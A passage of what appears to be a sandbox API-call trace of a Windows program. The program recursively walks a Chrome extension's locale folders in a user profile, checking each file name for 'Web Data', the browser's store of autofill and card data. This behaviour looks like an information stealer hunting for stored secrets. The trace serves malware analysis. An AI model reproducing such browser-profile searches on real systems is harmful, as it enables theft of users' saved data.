hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.246] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.246] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.246] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.246] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.246] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.246] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.246] LocalFree (hMem=0x2daec0) returned 0x0 [0056.246] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.246] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.246] lstrcmpiA (lpString1=".", lpString2="et") returned -1 [0056.246] lstrcmpiA (lpString1="..", lpString2="et") returned -1 [0056.246] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.246] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.246] lstrlenA (lpString="\\") returned 1 [0056.246] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.246] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.246] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.246] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.246] lstrlenA (lpString="et") returned 2 [0056.246] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.246] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.246] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="et" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\et") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\et" [0056.246] LocalFree (hMem=0x2daca0) returned 0x0 [0056.246] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\et") returned 131 [0056.246] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\et") returned 131 [0056.246] lstrlenA (lpString="\\*.*") returned 4 [0056.246] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.246] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\et" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\et") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\et" [0056.246] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\et", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\et\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\et\\*.*" [0056.246] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\et\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.247] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.247] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.247] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.247] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.247] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.247] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.247] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.247] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.247] LocalFree (hMem=0x2daca0) returned 0x0 [0056.247] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.247] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.247] lstrcmpiA (lpString1=".", lpString2="eu") returned -1 [0056.247] lstrcmpiA (lpString1="..", lpString2="eu") returned -1 [0056.247] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.247] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.247] lstrlenA (lpString="\\") returned 1 [0056.247] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.247] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.247] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.247] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.247] lstrlenA (lpString="eu") returned 2 [0056.247] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.247] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.247] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="eu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\eu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\eu" [0056.247] LocalFree (hMem=0x2daca0) returned 0x0 [0056.247] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\eu") returned 131 [0056.247] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\eu") returned 131 [0056.247] lstrlenA (lpString="\\*.*") returned 4 [0056.247] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.247] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\eu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\eu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\eu" [0056.247] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\eu", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\eu\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\eu\\*.*" [0056.247] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\eu\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.247] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.247] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.247] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.247] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.247] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.247] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.247] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.247] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.248] LocalFree (hMem=0x2daca0) returned 0x0 [0056.248] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.248] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.248] lstrcmpiA (lpString1=".", lpString2="fi") returned -1 [0056.248] lstrcmpiA (lpString1="..", lpString2="fi") returned -1 [0056.248] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.248] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.248] lstrlenA (lpString="\\") returned 1 [0056.248] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.248] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.248] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.248] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.248] lstrlenA (lpString="fi") returned 2 [0056.248] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.248] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.248] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fi" [0056.248] LocalFree (hMem=0x2daca0) returned 0x0 [0056.248] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fi") returned 131 [0056.248] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fi") returned 131 [0056.248] lstrlenA (lpString="\\*.*") returned 4 [0056.248] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.248] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fi" [0056.248] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fi\\*.*" [0056.248] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.248] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.248] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.248] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.248] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.248] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.248] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.248] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.248] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.248] LocalFree (hMem=0x2daca0) returned 0x0 [0056.248] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.248] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.248] lstrcmpiA (lpString1=".", lpString2="fil") returned -1 [0056.248] lstrcmpiA (lpString1="..", lpString2="fil") returned -1 [0056.248] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.248] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.248] lstrlenA (lpString="\\") returned 1 [0056.248] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.248] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.248] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.248] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.248] lstrlenA (lpString="fil") returned 3 [0056.248] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.248] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.248] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fil" [0056.249] LocalFree (hMem=0x2daca0) returned 0x0 [0056.249] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fil") returned 132 [0056.249] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fil") returned 132 [0056.249] lstrlenA (lpString="\\*.*") returned 4 [0056.249] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.249] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fil" [0056.249] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fil", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fil\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fil\\*.*" [0056.249] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fil\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.249] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.249] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.249] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.249] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.249] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.249] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.249] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.249] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.249] LocalFree (hMem=0x2daec0) returned 0x0 [0056.249] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.249] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.249] lstrcmpiA (lpString1=".", lpString2="fr") returned -1 [0056.249] lstrcmpiA (lpString1="..", lpString2="fr") returned -1 [0056.249] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.249] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.249] lstrlenA (lpString="\\") returned 1 [0056.249] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.249] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK 